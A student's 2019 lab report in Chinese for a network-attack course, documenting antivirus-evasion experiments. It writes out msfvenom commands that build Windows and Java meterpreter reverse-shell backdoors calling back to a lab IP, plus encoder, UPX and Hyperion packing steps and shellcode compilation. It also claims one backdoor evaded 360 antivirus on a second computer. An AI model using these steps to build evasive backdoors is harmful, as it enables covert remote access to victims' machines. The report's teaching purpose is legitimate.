2018-2019-2 《网络对抗技术》Exp3免杀原理与实践 20165222

1. 实践内容

 1.1 正确使用msf编码器

使用

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.136.135 LPORT=5222 -f exe > cess.exe 

生成后门程序,其中-p设置平台及连接方式,-e设置编码方式,(可通过msfvenom -l encoders列出可用编码器)

-i设置编码次数。-b设置直到不出现后门设定的字符。

 

检测一下

 

可见直接通过修改编码器的方式行不通。

msfvenom生成如jar之类的其他文件

使用 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.135 LPORT=5222 x.jar> cess_java.jar来生成jar文件。

其中-p的值可由msfvenom - l payloads查看。

检查发现

同样无法通过。

veil-evasion

输入veil进入,然后根据提示生成自己想要的后门即可。

我选择了用ruby写的在meterpreter平台下的tcp反弹连接;

然后设置ip及端口

最后输出文件即可。

但同样被杀软轻而易举识别出来。

 

关掉杀软测试能否反弹连接,发现成功。

加壳工具

1.执行upx 20165222_backdoor.exe -o 2016.exe

 发现也被杀了出来。

 

 2.加密壳

进入/usr/share/windows-binaries/hyperion/中,执行wine hyperion.exe -v 2016.exe sxx_upxed_Hyperion.exe

 

但同样也被杀出来。

使用shellcode编程

使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.135 LPORT=5222 -f c 

生成shellcod

然后将其写入5222.c文件,包含如下主函数:

再用i686-w64-mingw32-g++ 5222.c -o 5222.exe将其编译为exe文件

放入win10下仍能被检测出。

1.2 通过组合应用各种技术实现恶意代码免杀

 使用mesvenom,再改编码器,放入VC中执行生成可执行文件,成功连接。

 360版本
 
成功:
 
1.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
 采用与上面同样的方法,采用桥接模式,更换一下ip,同样成功。
360版本:
 
成功图

 2.1.基础问题回答

  (1)杀软是如何检测出恶意代码的

基于特征码和软件的行为。

  (2)免杀是做什么?

对木马等进行处理,让其不被杀软发现。

  (3)免杀的基本方法有哪些?

改变特征码:1,加壳;2,换编码器;3,换不同平台重写代码。

改变行为:减少对系统的修改。

  2.2.实践总结与体会

此次实验有些麻烦,msf中有很多编码器使用不了,不知为什么。还有的部分生成的后门被查出来了,建立白名单测试是否能够反弹发现失败了,比如加了压缩壳连接成功,再在此基础上加一个加密壳,就会出问题,还有就是后门如何到别人电脑上也是个问题,我是通过u盘直接移过去的。总之最后成功了,但同样存在着一些问题没有解决,有空再来看看能否解决。

  2.3.开启杀软能绝对防止电脑中恶意代码吗?

不能,比如自己手工加壳的后门程序病毒库里没有就很难检查出来。

参考资料https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_%E5%85%8D%E6%9D%80%E5%8E%9F%E7%90%86%E4%B8%8E%E5%AE%9E%E8%B7%B5.md

posted @ 2019-03-31 16:04  李勖  阅读(184)  评论(0编辑  收藏  举报